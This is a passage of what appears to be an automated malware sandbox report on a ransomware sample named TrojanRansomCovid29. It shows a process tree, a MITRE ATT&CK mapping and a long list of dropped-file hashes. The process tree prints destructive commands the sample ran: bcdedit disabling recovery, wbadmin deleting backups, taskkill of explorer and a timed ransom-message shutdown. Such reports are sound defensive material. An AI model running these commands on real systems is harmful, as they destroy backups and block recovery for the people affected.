                                                                                        • C:\Windows\system32\bcdedit.exe
                                                                                          bcdedit /set {default} recoveryenabled no
                                                                                          6⤵
                                                                                          • Modifies boot configuration data using bcdedit
                                                                                          PID:2648
                                                                                      • C:\Windows\System32\cmd.exe
                                                                                        "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
                                                                                        5⤵
                                                                                          PID:1408
                                                                                          • C:\Windows\system32\wbadmin.exe
                                                                                            wbadmin delete catalog -quiet
                                                                                            6⤵
                                                                                            • Deletes backup catalog
                                                                                            PID:4672
                                                                                        • C:\Windows\system32\NOTEPAD.EXE
                                                                                          "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\covid29-is-here.txt
                                                                                          5⤵
                                                                                            PID:4644
                                                                                      • C:\Windows\SysWOW64\shutdown.exe
                                                                                        shutdown /r /t 300 /c "5 minutes to pay until you lose your data and system forever"
                                                                                        3⤵
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:1660
                                                                                      • C:\Windows\SysWOW64\PING.EXE
                                                                                        ping localhost -n 9
                                                                                        3⤵
                                                                                        • Runs ping.exe
                                                                                        PID:4008
                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                        taskkill /f /im explorer.exe
                                                                                        3⤵
                                                                                        • Kills process with taskkill
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:232
                                                                                      • C:\Users\Admin\AppData\Local\Temp\B4C7.tmp\Cov29LockScreen.exe
                                                                                        Cov29LockScreen.exe
                                                                                        3⤵
                                                                                        • Executes dropped EXE
                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                        PID:2272
                                                                                  • C:\Windows\System32\PickerHost.exe
                                                                                    C:\Windows\System32\PickerHost.exe -Embedding
                                                                                    1⤵
                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                    PID:4068
                                                                                  • C:\Windows\system32\vssvc.exe
                                                                                    C:\Windows\system32\vssvc.exe
                                                                                    1⤵
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    PID:656
                                                                                  • C:\Windows\system32\wbengine.exe
                                                                                    "C:\Windows\system32\wbengine.exe"
                                                                                    1⤵
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    PID:3932
                                                                                  • C:\Windows\System32\vdsldr.exe
                                                                                    C:\Windows\System32\vdsldr.exe -Embedding
                                                                                    1⤵
                                                                                      PID:3816
                                                                                    • C:\Windows\System32\vds.exe
                                                                                      C:\Windows\System32\vds.exe
                                                                                      1⤵
                                                                                      • Checks SCSI registry key(s)
                                                                                      PID:3568

                                                                                    Network

                                                                                          MITRE ATT&CK Enterprise v15

                                                                                          Reconnaissance

                                                                                          Resource Development

                                                                                          Initial Access

                                                                                          Execution

                                                                                          Command and Scripting Interpreter

                                                                                          1
                                                                                          T1059

                                                                                          Persistence

                                                                                          Pre-OS Boot

                                                                                          1
                                                                                          T1542

                                                                                          Bootkit

                                                                                          1
                                                                                          T1542.003

                                                                                          Privilege Escalation

                                                                                          Abuse Elevation Control Mechanism

                                                                                          1
                                                                                          T1548

                                                                                          Bypass User Account Control

                                                                                          1
                                                                                          T1548.002

                                                                                          Defense Evasion

                                                                                          Abuse Elevation Control Mechanism

                                                                                          1
                                                                                          T1548

                                                                                          Bypass User Account Control

                                                                                          1
                                                                                          T1548.002

                                                                                          Impair Defenses

                                                                                          1
                                                                                          T1562

                                                                                          Disable or Modify Tools

                                                                                          1
                                                                                          T1562.001

                                                                                          Indicator Removal

                                                                                          3
                                                                                          T1070

                                                                                          File Deletion

                                                                                          3
                                                                                          T1070.004

                                                                                          Modify Registry

                                                                                          3
                                                                                          T1112

                                                                                          Pre-OS Boot

                                                                                          1
                                                                                          T1542

                                                                                          Bootkit

                                                                                          1
                                                                                          T1542.003

                                                                                          Credential Access

                                                                                          Unsecured Credentials

                                                                                          1
                                                                                          T1552

                                                                                          Credentials In Files

                                                                                          1
                                                                                          T1552.001

                                                                                          Discovery

                                                                                          Peripheral Device Discovery

                                                                                          1
                                                                                          T1120

                                                                                          Query Registry

                                                                                          4
                                                                                          T1012

                                                                                          Remote System Discovery

                                                                                          1
                                                                                          T1018

                                                                                          System Information Discovery

                                                                                          4
                                                                                          T1082

                                                                                          Lateral Movement

                                                                                          Collection

                                                                                          Data from Local System

                                                                                          1
                                                                                          T1005

                                                                                          Command and Control

                                                                                          Web Service

                                                                                          1
                                                                                          T1102

                                                                                          Exfiltration

                                                                                          Impact

                                                                                          Defacement

                                                                                          1
                                                                                          T1491

                                                                                          Inhibit System Recovery

                                                                                          4
                                                                                          T1490

                                                                                          Replay Monitor

                                                                                          Loading Replay Monitor...

                                                                                          Downloads

                                                                                          settings.dat
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                          • Size 152B
                                                                                          • SHA256 a56989933628f6a677ad09f634fc9b7dd9cf7d06c72a76ddbb8221bc4a62ffcd
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          settings.dat
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                          • Size 152B
                                                                                          • SHA256 26025f86effef56caa2ee50a64e219c762944b1e50e465be3a6b454bc0ed7305
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          7ae8ac53-5c35-494b-bb98-6a3713725a9d.tmp
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\7ae8ac53-5c35-494b-bb98-6a3713725a9d.tmp
                                                                                          • Size 8KB
                                                                                          • SHA256 d21431305f71f477aac25f88346c23426c9af101a30ecd6817890324cf724470
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          f_00000d
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000d
                                                                                          • Size 49KB
                                                                                          • SHA256 d6c2f9f2bb35841cdb53abb660544e6e6f44e39d6542323992cc1c63e998fa16
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          f_00000e
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000e
                                                                                          • Size 44KB
                                                                                          • SHA256 41e5f6aff0dbd029c60a0b64e0760fafc592084e48e21ca48277a4e2b68e3cef
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          f_00000f
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000f
                                                                                          • Size 24KB
                                                                                          • SHA256 fedd9610bd4c2237de2d9eebba3143424967690767ba25ca7ab369f7aab3bb4a
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          f_000010
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000010
                                                                                          • Size 22KB
                                                                                          • SHA256 5c9fa7df7f446408d1aa91e9ab4d445b0be2ba4adc316c0bfa5a19cb0376b1dc
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          f_000011
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000011
                                                                                          • Size 20KB
                                                                                          • SHA256 befb3b0471067ac66b93fcdba75c11d743f70a02bb9f5eef7501fa874686319d
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          f_000012
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000012
                                                                                          • Size 63KB
                                                                                          • SHA256 db0eecba023386f47ac57fef8a8cdab5f12e04637da91c13b81b8b60b43025d0
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          f_000013
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000013
                                                                                          • Size 19KB
                                                                                          • SHA256 cc755756eafdc0478fd311c22224aacdd9422bb756c75e134bf7ecc12340db42
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          f_000014
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000014
                                                                                          • Size 59KB
                                                                                          • SHA256 8745914e0214bcd9d2e6a841f0679a81084ef3fc3d99125876bee26653f4253e
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          f_000015
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000015
                                                                                          • Size 151KB
                                                                                          • SHA256 3ba245011d9a8ade367074a3774a786f50ca51d71a83956dbb0ad2647a14d7ed
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          f_000016
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000016
                                                                                          • Size 21KB
                                                                                          • SHA256 6c86d8c0c6067e4eb4055d4201159df4e5772c88d0784adbe1f9d0419243e9c5
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          f_000017
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000017
                                                                                          • Size 19KB
                                                                                          • SHA256 581a19ecaeac7df979ff1023c17e0825e87afd897f077f0dbeba804f5d2d91cf
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          f_000018
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000018
                                                                                          • Size 23KB
                                                                                          • SHA256 b093599957b103def2cc82ffd2d42d57a98292ace5a6596e3e4439a6cce063b2
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          f_00001a
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00001a
                                                                                          • Size 88KB
                                                                                          • SHA256 7f78d2882870c48a3611e13c0f64b81313ae7d1a22d7e50dea2ca6b79ca4d4ad
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          f_000037
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000037
                                                                                          • Size 27KB
                                                                                          • SHA256 3a009c2e78435c0b5f5454d3a39090a76111f8dcdb35ae665332afacb6f2d83e
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          a9d434a9f8b977a4_0
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\a9d434a9f8b977a4_0
                                                                                          • Size 39KB
                                                                                          • SHA256 62c51a443593a01dfc001d11a990bb5b86fa3da82a1df988d0089749d9d3a17d
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          the-real-index
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                                          • Size 4KB
                                                                                          • SHA256 8aa9dbf093e33c32268e7be2bed1bdb27d20ea4ef94cde1dc4bf2204e176c3e1
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          the-real-index
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                                          • Size 4KB
                                                                                          • SHA256 ad722427221935371e110b78666922a04990896509783dad9c3b32d940ac08c2
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          the-real-index
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                                          • Size 3KB
                                                                                          • SHA256 5971c4061397d3b2091c851999fb086e9e1301dd90871e03de33f84b730aeef5
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          the-real-index
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                                          • Size 1KB
                                                                                          • SHA256 04f5a60920481aadf50b84ba604d2ee53c696dc9d3a331269590ed681ccbef21
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          the-real-index
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                                          • Size 3KB
                                                                                          • SHA256 aefd8d572db62663f0015e0c6cfbb47d20f7b283e0064af5d7bc696bb2888414
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          the-real-index
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                                          • Size 4KB
                                                                                          • SHA256 e248ad9e507250c64713043d9e311ff406b057eb314737ac7362b203f62966f6
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          the-real-index
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                                          • Size 4KB
                                                                                          • SHA256 1280e8cc658030c990c2313b9aa5d68946c730dae388de7ecea604c9db86aa76
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          the-real-index
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                                          • Size 4KB
                                                                                          • SHA256 d823e6317a9491c462ee304a1c9e539ff16ba75bdf118191cf5fe3d33db654df
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          the-real-index
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                                          • Size 4KB
                                                                                          • SHA256 ccab7005fa60dddae1094158c7215f49b0439bb8b3dbe978f1285bb14c2f2f0c
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          Network Persistent State
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
                                                                                          • Size 111B
                                                                                          • SHA256 aa10bf07b0d265bed28f2a475f3564d8ddb5e4d4ffee0ab6f3a0cc564907b631
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          Network Persistent State
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
                                                                                          • Size 1008B
                                                                                          • SHA256 1bdfadc344b9f9a4b32636d535d4b27762cac3666ec4a48228cd6e0d9f529c64
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          Network Persistent State
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
                                                                                          • Size 1KB
                                                                                          • SHA256 75ffe5776824b7d84bf44557ffe4dcfcbb9efaf64a0a3b34e7d9be99d78cf7ab
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          Network Persistent State
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
                                                                                          • Size 5KB
                                                                                          • SHA256 643a2c8308051d0ebea9429bc07d0c3ac05c3ed8ab43a174a4eef33322ba00ff
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          Network Persistent State
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
                                                                                          • Size 5KB
                                                                                          • SHA256 5fcaf84c9a59d56fbb5d811d491542a4bb81fb0de99e1704aadd5f2614d9d61f
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          Network Persistent State
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
                                                                                          • Size 1KB
                                                                                          • SHA256 1f9808262ce1885c53cb0e01dd5d8758436c2acab097dba3082ee65508b4e272
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          Preferences
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                          • Size 5KB
                                                                                          • SHA256 b72f1362307568639cbb8e4da6ed03ad575f1c38586ac4a12daa9dc11f342b0d
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          Preferences
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                          • Size 7KB
                                                                                          • SHA256 b01c0971075d9eef5882cef50dda179919c9e6ae4199136c708c13e6b3ee5740
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          Preferences
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                          • Size 7KB
                                                                                          • SHA256 f1c75f163e6023ce706cee32c3b4da032a0ad96a541ce554fb6a33afbdecd409
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          Preferences
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                          • Size 6KB
                                                                                          • SHA256 be12c43b88f16c86c73830323fc4a421c722cb16a7516a557b50f4259ed679cd
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          Preferences
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                          • Size 7KB
                                                                                          • SHA256 a3f98aef9bccfa407673e1a6a548e30fc02f28abb4f8968ea3e93048c4996e56
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          Preferences
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                          • Size 6KB
                                                                                          • SHA256 a936ace828a5e75bdbcd3df45947bacd7b44c19786470d66902399c3428802cd
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          Preferences
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                          • Size 7KB
                                                                                          • SHA256 3f7bc7991fb7123f974b6deaa78f60329b0c85bc3f742618372be83d5dd75932
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          Preferences
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                          • Size 7KB
                                                                                          • SHA256 10c1c87270a99c93699ef390ac85bdd0bb8ecde1ecddd978ea29c90f7ecf5f96
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          Preferences
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                          • Size 7KB
                                                                                          • SHA256 7f59ed5a2014cb395a805ff3c3bf10a54637321570334fc735f3682cbb8b8965
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          TransportSecurity
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
                                                                                          • Size 1KB
                                                                                          • SHA256 9bad2f980d339b9134c0ab2c720b142764efcd77988057494836152b3d6bb4cb
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          TransportSecurity
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
                                                                                          • Size 3KB
                                                                                          • SHA256 887c710da42b7e5007144b37f22e931a4971a328c61ed83dcd5ca9e79ef18849
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          TransportSecurity
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
                                                                                          • Size 3KB
                                                                                          • SHA256 1cb3cc4efa9f7d10c5bd4eb5887ea70c9fc50ce4905666f4e28ea23b2b5e8576
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          TransportSecurity
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
                                                                                          • Size 1KB
                                                                                          • SHA256 5fcc8c0b526e9e40d453bd1f9d2a107167c2bef5479dd59405cea46f077bc2c7
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          TransportSecurity
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
                                                                                          • Size 2KB
                                                                                          • SHA256 45d7b7581f622b33f602f6341055d5d4a1998daaebc5dec895047fdee6291fa7
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          TransportSecurity
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
                                                                                          • Size 2KB
                                                                                          • SHA256 7042af1b63c2291f58fa9aca026f6cb74adec3d8bb9578e3ab257e6112f26afe
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          TransportSecurity
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
                                                                                          • Size 3KB
                                                                                          • SHA256 235bc9564b0c531a6cea9cf5526a54265d826b5fe6ce929110fd360aabe530c8
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          TransportSecurity
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
                                                                                          • Size 1KB
                                                                                          • SHA256 35934dc6fd2cb0772534c0dabec10deea4d464b2cc4e7cafc53167898b3d1b88
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          TransportSecurity
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
                                                                                          • Size 2KB
                                                                                          • SHA256 05008720dd583f052edc9fcaa199b85b87a9d1bc32664a3260b47b971352e5a8
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          TransportSecurity
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
                                                                                          • Size 3KB
                                                                                          • SHA256 ed0c78cb1dade616b4a679d697b28138d21a3523fc9fa7b4c61b26d737364b8e
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          TransportSecurity
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
                                                                                          • Size 1KB
                                                                                          • SHA256 70c30d6410ebc41b0196c4bbaa0aab03c555e6e02a87d8cad036fbb0b9ad209e
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          TransportSecurity
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
                                                                                          • Size 3KB
                                                                                          • SHA256 cf427b1c41a97ba3a0526f6452b3de660eb8535f35f08a4112ead35bd0d1c743
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          TransportSecurity
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
                                                                                          • Size 3KB
                                                                                          • SHA256 2a8e815704243fd2053417a753c56aea11243fc9f8c08716cf4a41bc8a0a0a4d
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          TransportSecurity
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
                                                                                          • Size 1KB
                                                                                          • SHA256 ab9df4a80115966fd451b6658374c057d13d134ca2d32e9b4c495b049544514f
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          TransportSecurity~RFe584253.TMP
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe584253.TMP
                                                                                          • Size 538B
                                                                                          • SHA256 2f93b8913d9d0c3b6e1b2c13907af7b44aa0eed29125e9b0459d189d288aeac9
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          CURRENT
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
                                                                                          • Size 16B
                                                                                          • SHA256 0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          Local State
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                          • Size 11KB
                                                                                          • SHA256 504779c188dc85d9c0a3371143311d8e6827bddf204f96419c4f2d9004c2142c
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          Local State
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                          • Size 12KB
                                                                                          • SHA256 4932cafff66fbdc882585ed8793855fb16d6c1f0d48e310fae33184a5d013027
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          Local State
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                          • Size 12KB
                                                                                          • SHA256 852b625106d14dfb7c233ee8f6d919dd50a5c22b156ed94f19122bf6f1cccb35
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          Local State
                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                          • Size 12KB
                                                                                          • SHA256 01f4673c8f1d1a78060da149f5f1c1e0c5654c4f17903ac82282a2d7b7ecbd55
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          Cov29Cry.exe.death
                                                                                          • Path C:\Users\Admin\AppData\Local\Temp\B4C7.tmp\Cov29Cry.exe.death
                                                                                          • Size 103KB
                                                                                          • SHA256 b4f78ff66dc3f5f8ddd694166e6b596d533830792f9b5f1634d3f5f17d6a884a
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          Cov29LockScreen.exe
                                                                                          • Path C:\Users\Admin\AppData\Local\Temp\B4C7.tmp\Cov29LockScreen.exe
                                                                                          • Size 48KB
                                                                                          • SHA256 6cde4a9f109ae5473703c4f5962f43024d71d2138cbd889223283e7b71e5911c
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          TrojanRansomCovid29.bat
                                                                                          • Path C:\Users\Admin\AppData\Local\Temp\B4C7.tmp\TrojanRansomCovid29.bat
                                                                                          • Size 1KB
                                                                                          • SHA256 b82e64e533789c639d8e193b78e06fc028ea227f55d7568865120be080179afc
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          fakeerror.vbs
                                                                                          • Path C:\Users\Admin\AppData\Local\Temp\B4C7.tmp\fakeerror.vbs
                                                                                          • Size 144B
                                                                                          • SHA256 f2571f03eb9d5ee4dca29a8fec1317ded02973c5dd233d582f56cebe98544f22
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          mbr.exe
                                                                                          • Path C:\Users\Admin\AppData\Local\Temp\B4C7.tmp\mbr.exe
                                                                                          • Size 512KB
                                                                                          • SHA256 fd464d15c2ef67a6cdc083cf2bcab8aaefd79682056f3b7d06c45ee21acf00f7
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          mbr.exe
                                                                                          • Path C:\Users\Admin\AppData\Local\Temp\B4C7.tmp\mbr.exe
                                                                                          • Size 531KB
                                                                                          • SHA256 46ba350d72fd36afcb550dc1a20d9f269d2d654674275cb8b4f20f0a64ca2eb0
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          mbr.exe
                                                                                          • Path C:\Users\Admin\AppData\Local\Temp\B4C7.tmp\mbr.exe
                                                                                          • Size 448KB
                                                                                          • SHA256 58faae4aed2450e464fa193484e41d5a3d6b4ab15b22b0f4836cda45160aef84
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          mbr.exe.danger
                                                                                          • Path C:\Users\Admin\AppData\Local\Temp\B4C7.tmp\mbr.exe.danger
                                                                                          • Size 1005KB
                                                                                          • SHA256 6e6da81048a8dbc81d40980a3886671f8c2e9976ef2adfed290e2e05fc4dc806
                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                          Submit Download

                                                                                          bodmas_malware_category.csv.LNK
                                                                                          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\bodmas_malware_category.csv.LNK
                                                                                          • Size 1KB
                                                                                          • SHA256 8087000c4eb30d3fc94f9dd3a2c51ce6db98056aaeb5412a240e35777772cbea
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          index.dat
                                                                                          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat
                                                                                          • Size 272B
                                                                                          • SHA256 f5ee06ced61a67430525f44273e21239aa52f210b36b4f47867c58bf4cc441ec
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          b8ab77100df80ab2.customDestinations-ms
                                                                                          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
                                                                                          • Size 24B
                                                                                          • SHA256 90bf6baa6f968a285f88620fbf91e1f5aa3e66e2bad50fd16f37913280ad8228
                                                                                          • MD5 SHA1 SHA512
                                                                                          Submit Download

                                                                                          b8ab77100df80ab2.customDestinations-ms
